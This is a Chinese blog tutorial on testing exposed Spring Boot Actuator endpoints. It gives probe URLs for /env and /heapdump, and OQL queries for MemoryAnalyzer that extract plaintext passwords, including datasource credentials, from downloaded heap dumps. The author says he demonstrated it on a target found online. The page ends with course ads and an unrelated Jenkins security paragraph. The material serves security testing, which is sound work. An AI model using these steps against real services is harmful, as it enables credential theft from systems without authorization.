渗透测试常见的actuator漏洞排查

内网环境-Actuator漏洞排查与利用

  1. 需要清扫内网环境特定漏洞

  2. 速度小于每秒50左右,大于会被封ip

  3. 内网禁止安装任何未授权软件-只能自己写脚本

Actuator介绍

Actuator’æ ktʃʊˌeɪtə是 Spring Boot 提供的对应用系统的自省和监控的
集成功能,可以对应用系统进行配置查看、相关功能统计等。在 Spring Cloud 中主要是完成微服务的监控,完成监控治理。可以查看微服务间的数据处理和调用,当它们之间出现了异常,就可以快速定位到出现问题的地方。
Actuator监控项
 

图片


若未授权,则可通过访问的方式获取信息,造成信息泄露

利用方法

  1. http://127.0.0.1:port/actuator

  2. http://127.0.0.1:port/actuator/env

/heapdump利用方法

后缀:
http://127.0.0.1:port/actuator/heapdump
http://127.0.0.1:port/actuator/actuator/heapdump

注:临时网络上随便搜索了一个存在的漏洞做测试演示:
利用内存泄漏分析软件MemoryAnalyzer解析Heap Dump(堆转储文件),获取隐藏的密码
探测后缀名actuator/env 若网页存在,全局搜索password,发现如下图:

图片

访问Actuator/heapdump 后缀发现可下载内存文件

图片

利用内存分析工具分析上述下载文件:

图片


1.选择

图片

2.File->open Heap Dump -> 选择 All Files->然后选择hump文件->利用OQL查找

图片

图片

图片

可利用以下可用的oql代码在堆信息中找到明文密码(代码啥意思自行百度吧,我也百度了好几个小时各种尝试实验才完全弄明白…)
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
/**hua**/
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("spring.datasource.password"))

select * from java.util.HashMap$Node x WHERE (toString(x.key).contains("password"))

可看到密码:

图片

附带极简测试代码

注:需要请自行根据原始代码就行优化,如:增加参数,遍历,日志,独立运行功能等

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Jenkins是一个开源的持续集成和交付工具,它提供了丰富的功能和插件来帮助开发团队自动化构建、测试和部署软件项目。然而,由于Jenkins的广泛使用和开放的插件生态系统,可能存在一些安全漏洞。下面是一些排查Jenkins漏洞常见方法: 1. 定期更新Jenkins和插件:及时更新Jenkins和其插件是防止漏洞利用的重要步骤。Jenkins官方会发布安全更新,你可以通过Jenkins的管理界面或者命令行工具进行更新。 2. 审查Jenkins日志:Jenkins会生成详细的日志记录,包括构建过程、插件使用等信息。通过审查日志,你可以发现异常行为或者异常请求,从而判断是否存在漏洞。 3. 使用安全扫描工具:可以使用一些专门的安全扫描工具来扫描Jenkins服务器,以发现潜在的漏洞。例如,可以使用OWASP ZAP、Nessus等工具进行漏洞扫描。 4. 配置访问控制:确保Jenkins的访问权限设置正确,只有授权的用户可以访问和执行敏感操作。可以使用Jenkins提供的RBAC(Role-Based Access Control)插件来管理用户权限。 5. 审查插件的安全性:Jenkins的插件生态系统非常丰富,但并不是所有插件都是安全可靠的。在选择和使用插件时,要注意查看插件的评级、下载量、最近更新时间等信息,选择受信任的插件。 6. 监控系统行为:通过监控Jenkins服务器的系统行为,例如网络流量、CPU和内存使用情况等,可以及时发现异常活动或者资源消耗异常的情况。 7. 参考安全建议和最佳实践:Jenkins官方提供了一些安全建议和最佳实践,可以参考官方文档来加强Jenkins的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值